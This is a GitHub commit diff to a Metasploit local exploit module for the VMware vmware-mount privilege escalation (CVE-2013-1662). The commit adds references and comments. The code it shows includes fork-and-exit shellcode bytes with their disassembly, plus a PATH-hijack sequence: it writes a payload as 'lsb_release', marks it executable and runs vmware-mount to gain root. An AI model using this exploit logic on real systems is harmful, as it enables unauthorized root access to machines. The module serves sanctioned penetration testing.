Skip to content

Commit e1e8891

Browse files
author
jvazquez-r7
committed
Add references and comments
1 parent 63786f9 commit e1e8891

File tree

1 file changed

+18
-3
lines changed

1 file changed

+18
-3
lines changed

modules/exploits/linux/local/vmware_mount.rb

Lines changed: 18 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -40,10 +40,16 @@ def initialize(info={})
4040
"PrependSetresuid" => true,
4141
"PrependSetresgid" => true,
4242
},
43+
'Privileged' => true,
4344
'DefaultTarget' => 0,
4445
'References' => [
45-
[ 'URL', "http://blog.cmpxchg8b.com/2013/08/security-debianisms.html" ],
46-
]
46+
[ 'CVE', '2013-1662' ],
47+
[ 'OSVDB', '96588' ],
48+
[ 'BID', '61966'],
49+
[ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
50+
[ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ]
51+
],
52+
'DisclosureDate' => "Aug 22 2013"
4753
}
4854
))
4955
# Handled by ghetto hardcoding below.
@@ -66,14 +72,23 @@ def exploit
6672
# Ghetto PrependFork action which is apparently only implemented for
6773
# Meterpreter.
6874
# XXX Put this in a mixin somewhere
75+
# if(fork()) exit(0);
76+
# 6A02 push byte +0x2
77+
# 58 pop eax
78+
# CD80 int 0x80 ; fork
79+
# 85C0 test eax,eax
80+
# 7406 jz 0xf
81+
# 31C0 xor eax,eax
82+
# B001 mov al,0x1
83+
# CD80 int 0x80 ; exit
6984
exe = generate_payload_exe(
7085
:code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded
7186
)
7287
write_file("lsb_release", exe)
7388

7489
cmd_exec("chmod +x lsb_release")
7590
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
76-
cmd_exec("rm -f lsb_release")
91+
cmd_exec("rm -f lsb_release") # using it over FileDropper because the original session can clean it up
7792
end
7893

7994
def setuid?(remote_file)

0 commit comments

Comments
 (0)